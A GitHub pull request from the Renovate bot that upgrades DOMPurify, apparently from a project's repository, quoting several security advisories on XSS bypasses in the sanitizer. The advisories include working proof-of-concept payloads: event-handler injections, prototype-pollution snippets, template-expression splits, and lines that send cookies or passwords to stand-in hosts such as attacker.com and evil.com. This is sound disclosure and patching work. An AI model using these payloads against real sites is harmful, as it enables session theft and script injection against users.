Skip to content

chore(deps): update dependency dompurify to v3.4.12 [security] - #758

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-dompurify-vulnerability
Open

chore(deps): update dependency dompurify to v3.4.12 [security]#758
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-dompurify-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Mar 18, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
dompurify3.3.13.4.12ageconfidence

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2026-0540 / GHSA-v2wj-7wpq-c8vv

More information

Details

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

CVE-2026-65914 / GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC
  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
<imgsrc=xalt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html><htmllang="en"><head><metacharset="utf-8"><metaname="viewport" content="width=device-width, initial-scale=1"><title>expoc - DOMPurify SSR PoC</title><style>:root {
--bg:#f7f8fb;
--panel:#ffffff;
--line:#d8dce6;
--text:#&#8203;0f172a;
--muted:#&#8203;475569;
--accent:#&#8203;0ea5e9;
}
* {
box-sizing: border-box;
}
body {
margin:0;
font-family:"SF Mono", Menlo, Consolas, monospace;
color:var(--text);
background:radial-gradient(circle at 10%0%,#e0f2fe0%,var(--bg) 60%);
}
main {
max-width:980px;
margin:28px auto;
padding:016px20px;
}
h1 {
margin:0010px;
font-size:1.45rem;
}
p {
margin:0;
color:var(--muted);
}
.grid {
display: grid;
gap:14px;
margin-top:16px;
}
.card {
background:var(--panel);
border:1px solid var(--line);
border-radius:12px;
padding:14px;
}
label {
display: block;
margin-bottom:7px;
font-size:0.85rem;
color:var(--muted);
}
textarea,input,select,button {
width:100%;
border:1px solid var(--line);
border-radius:8px;
padding:9px10px;
font: inherit;
background:#fff;
}
textarea {
min-height:110px;
resize: vertical;
}
.row {
display: grid;
grid-template-columns:1fr230px;
gap:12px;
}
button {
cursor: pointer;
background:var(--accent);
color:#fff;
border-color:#&#8203;0284c7;
}
#sink {
min-height:90px;
border:1px dashed #&#8203;94a3b8;
border-radius: 8px;
padding: 10px;
background:#f8fafc;
}
pre {
margin:0;
white-space: pre-wrap;
word-break: break-word;
}
.note {
margin-top:8px;
font-size:0.85rem;
}
.status-grid {
display: grid;
grid-template-columns:repeat(auto-fit,minmax(180px,1fr));
gap:8px;
margin-top:10px;
}
.status-item {
border:1px solid var(--line);
border-radius:8px;
padding:8px10px;
font-size:0.85rem;
background:#fff;
}
.status-item.vuln {
border-color:#ef4444;
background:#fef2f2;
}
.status-item.safe {
border-color:#&#8203;22c55e;
background:#f0fdf4;
}
@media (max-width:760px) {
.row {
grid-template-columns:1fr;
}
}
</style></head><body><main><h1>expoc - DOMPurify Server-Side PoC</h1><p>
Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
</p><divclass="grid"><sectionclass="card"><labelfor="payload">Payload</label><textareaid="payload"><imgsrc=xalt="</script><img src=x onerror=alert('expoc')>"></textarea><divclass="row" style="margin-top: 10px;"><div><labelfor="wrapper">Wrapper en sink</label><selectid="wrapper"><optionvalue="div">div</option><optionvalue="textarea">textarea</option><optionvalue="title">title</option><optionvalue="style">style</option><optionvalue="script" selected>script</option><optionvalue="xmp">xmp</option><optionvalue="iframe">iframe</option><optionvalue="noembed">noembed</option><optionvalue="noframes">noframes</option><optionvalue="noscript">noscript</option></select></div><divstyle="display:flex;align-items:end;"><buttonid="run" type="button">Sanitize + Render</button></div></div><pclass="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p><divclass="status-grid"><divclass="status-item vuln">script (vulnerable)</div><divclass="status-item vuln">xmp (vulnerable)</div><divclass="status-item vuln">iframe (vulnerable)</div><divclass="status-item vuln">noembed (vulnerable)</div><divclass="status-item vuln">noframes (vulnerable)</div><divclass="status-item vuln">noscript (vulnerable)</div><divclass="status-item safe">div (no vulnerable)</div><divclass="status-item safe">textarea (no vulnerable)</div><divclass="status-item safe">title (no vulnerable)</div><divclass="status-item safe">style (no vulnerable)</div></div></section><sectionclass="card"><label>Sanitized response</label><preid="sanitized">(empty)</pre></section><sectionclass="card"><label>Sink</label><divid="sink"></div></section></div></main><script>constpayload=document.getElementById('payload');constwrapper=document.getElementById('wrapper');construn=document.getElementById('run');constsanitizedNode=document.getElementById('sanitized');constsink=document.getElementById('sink');run.addEventListener('click',async()=>{constresponse=awaitfetch('/sanitize',{method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({input: payload.value})});constdata=awaitresponse.json();constsanitized=data.sanitized||'';constw=wrapper.value;sanitizedNode.textContent=sanitized;sink.innerHTML='<'+w+'>'+sanitized+'</'+w+'>';});</script></body></html>
  • server.js
constexpress=require('express');constpath=require('path');const{JSDOM}=require('jsdom');constcreateDOMPurify=require('dompurify');constapp=express();constport=process.env.PORT||3001;constwindow=newJSDOM('').window;constDOMPurify=createDOMPurify(window);app.use(express.json());app.use(express.static(path.join(__dirname,'public')));app.get('/health',(_req,res)=>{res.json({ok: true,service: 'expoc'});});app.post('/sanitize',(req,res)=>{constinput=typeofreq.body?.input==='string' ? req.body.input : '';constsanitized=DOMPurify.sanitize(input);res.json({ sanitized });});app.listen(port,()=>{console.log(`expoc running at http://localhost:${port}`);});
  • package.json
{
"name": "expoc",
"version": "1.0.0",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"start": "node server.js",
"dev": "node server.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"description": "",
"dependencies": {
"dompurify": "^3.3.1",
"express": "^5.2.1",
"jsdom": "^28.1.0"
}
}
Evidence
  • PoC

daft-video.webm

  • XSS triggered
daft-img
Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance
  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify USE_PROFILES prototype pollution allows event handlers

CVE-2026-65913 / GHSA-cj63-jhhr-wcxv

More information

Details

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify ADD_ATTR predicate skips URI validation

CVE-2026-65912 / GHSA-cjmm-f4jc-qw8r

More information

Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

CVE-2026-65903 / GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
Affected Version

v3.3.3 (commit 883ac15)

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

CVE-2026-41238 / GHSA-v9jr-rg53-9pgp

More information

Details

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions
  • 3.0.1 through 3.3.3 (current latest) — all affected
  • 3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment)
  • The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor
  • This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
  • This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)
Root Cause

In purify.js at line 590, during config parsing:

CUSTOM_ELEMENT_HANDLING=cfg.CUSTOM_ELEMENT_HANDLING||{};

When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact
  • Attack type: XSS bypass via prototype pollution chain
  • Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
  • Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected.
  • Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization
Proof of Concept
// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the applicationObject.prototype.tagNameCheck=/.*/;Object.prototype.attributeNameCheck=/.*/;// Step 2: Application sanitizes user input with DEFAULT configconstclean=DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');// Step 3: "Sanitized" output still contains the event handlerconsole.log(clean);// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">// Step 4: When injected into DOM, XSS executesdocument.body.innerHTML=clean;// alert() fires
Tested configurations that are vulnerable:
Call PatternVulnerable?
DOMPurify.sanitize(input)YES
DOMPurify.sanitize(input, {})YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })NO (explicit object triggers L591 path)
Suggested Fix

Change line 590 from:

CUSTOM_ELEMENT_HANDLING=cfg.CUSTOM_ELEMENT_HANDLING||{};

To:

CUSTOM_ELEMENT_HANDLING=cfg.CUSTOM_ELEMENT_HANDLING||create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:

DOMPurify.sanitize(input,{CUSTOM_ELEMENT_HANDLING: {tagNameCheck: null,attributeNameCheck: null}});
Timeline
  • 2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
  • 2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3
  • 2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
  • 2026-04-04: Advisory drafted, responsible disclosure initiated
Credit

https://github.com/trace37labs

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary
FieldValue
SeverityMedium
AffectedDOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

  1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
// pass #&#8203;1: runs on every text node during tree walkif(SAFE_FOR_TEMPLATES&&currentNode.nodeType===NODE_TYPE.text){content=currentNode.textContent;content=content.replace(MUSTACHE_EXPR,' ');// {{...}} -> ' 'content=content.replace(ERB_EXPR,' ');// <%...%> -> ' 'content=content.replace(TMPLIT_EXPR,' ');// ${... -> ' 'currentNode.textContent=content;}
  1. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #​2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)if(RETURN_DOM){// ... build returnNode ...returnreturnNode;// <-- exits here, pass #&#8203;2 never runs}// pass #&#8203;2: only reached by string-mode callersif(SAFE_FOR_TEMPLATES){serializedHTML=serializedHTML.replace(MUSTACHE_EXPR,' ');}returnserializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

  1. Parser creates: TEXT("{")<foo>TEXT("{payload}")<foo>TEXT("}") — no single node contains {{, so pass #​1 misses it
  2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
  3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html><html><body><scriptsrc="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script><scriptsrc="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script><script>vardirty='<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';vardom=DOMPurify.sanitize(dirty,{SAFE_FOR_TEMPLATES: true,RETURN_DOM: true});document.body.appendChild(dom.firstChild);newVue({el: '#app'});</script></body></html>
Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations
Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

 if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {+ body.normalize();+ let html = body.innerHTML;+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {+ html = stringReplace(html, expr, ' ');+ });+ body.innerHTML = html;+ }+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity

  • CVSS Score: 6.0 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside content when using DOM output modes

CVE-2026-65900 / GHSA-gvmj-g25r-r7wr

More information

Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.


Description
Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

  1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
  2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117constwalker=createNodeIterator.call(node.ownerDocument||node,node,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_COMMENT| ...,null);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if(KEEP_CONTENT&&!FORBID_CONTENTS[tagName]){constparentNode=getParentNode(currentNode);constchildNodes=getChildNodes(currentNode);if(childNodes&&parentNode){for(leti=childCount-1;i>=0;--i){constchildClone=cloneNode(childNodes[i],true);parentNode.insertBefore(childClone,getNextSibling(currentNode));}}}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.


Proof of Concept
Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

FragmentAgainst TMPLIT_EXPR/\${[\w\W]*/gAgainst MUSTACHE_EXPR/{{[\w\W]*|^[\w\W]*}}/gResult
$Requires ${ - no { followsNo {{ or }}Survives
{alert(document.domain)}Requires leading $ - absentNo {{, ends with single } not }}Survives
${alert(document.domain)}Full match - would be stripped-Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.


PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,// but their text content is kept (KEEP_CONTENT: true is the default).constdirty='<template>'+'<x-split-1>$</x-split-1>'+'<x-split-2>{alert(document.domain)}</x-split-2>'+'</template>';// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}constsanitized=DOMPurify.sanitize(dirty,{RETURN_DOM: true,SAFE_FOR_TEMPLATES: true,});// Inspect what survived inside the <template>consttmpl=sanitized.querySelector('template');console.log([...tmpl.content.childNodes].map(n=>n.nodeValue));// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()// before reading template content. This merges the adjacent nodes:tmpl.content.normalize();console.log(tmpl.content.textContent);// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer// Any template-literal evaluator now fires XSS:constexpr=tmpl.content.textContent;newFunction(`return \`${expr}\``)();// !! alert(document.domain) executes !!

PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"// "{document.location=...}" ends with a single "}" — does NOT match// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.constdirty='<template>'+'<x-a>$</x-a>'+'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>'+'</template>';constsanitized=DOMPurify.sanitize(dirty,{RETURN_DOM: true,SAFE_FOR_TEMPLATES: true,});consttmpl=sanitized.querySelector('template');tmpl.content.normalize();console.log(tmpl.content.textContent);// "${document.location="//attacker.com/?c="+document.cookie}"// Template engine evaluates it - victim's browser makes the request:newFunction(`return \`${tmpl.content.textContent}\``)();// !! Redirects victim to attacker.com with their full cookie string !!// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application --><divid="output"></div><scripttype="module">importDOMPurifyfrom'./dist/purify.es.mjs';// Simulates fetching and rendering user-submitted commentasyncfunctionrenderComment(userHtml){// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engineconstdom=DOMPurify.sanitize(userHtml,{RETURN_DOM: true,SAFE_FOR_TEMPLATES: true,});// Application iterates <template> elements and evaluates their content// (common pattern in component-based frameworks)dom.querySelectorAll('template').forEach(tmpl=>{tmpl.content.normalize();// standard DOM housekeepingconstcontent=tmpl.content.textContent;// Application uses template literals to interpolate user content into UIconstrendered=newFunction('user',`return \`${content}\``)({name: 'World'});document.getElementById('output').innerHTML+=rendered;});}// Attacker-supplied comment contentconstattackerComment='<template>'+'<x-a>$</x-a>'+'<x-b>{alert("XSS: " + document.cookie)}</x-b>'+'</template>';// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOMrenderComment(attackerComment);// !! XSS fires, alert pops with session cookies !!</script>

Observed output:alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.


PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly// (e.g., content loaded into an iframe or received from a WebSocket)constcontainer=document.createElement('div');consttmpl=document.createElement('template');// Adjacent text nodes - these would never appear in HTML-parsed content,// but CAN appear in programmatically constructed DOM or WebSocket messages// that are deserialised into DOM nodes before sanitisation.tmpl.content.appendChild(document.createTextNode('$'));tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));container.appendChild(tmpl);// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}DOMPurify.sanitize(container,{IN_PLACE: true,SAFE_FOR_TEMPLATES: true});// Neither text node was modified - each passed the regex check individuallycontainer.querySelector('template').content.normalize();console.log(container.querySelector('template').content.textContent);// "${alert(document.domain)}" <-- survived in-place sanitizationnewFunction(`return \`${container.querySelector('template').content.textContent}\``)();// !! XSS fires !!

HTML File for testing

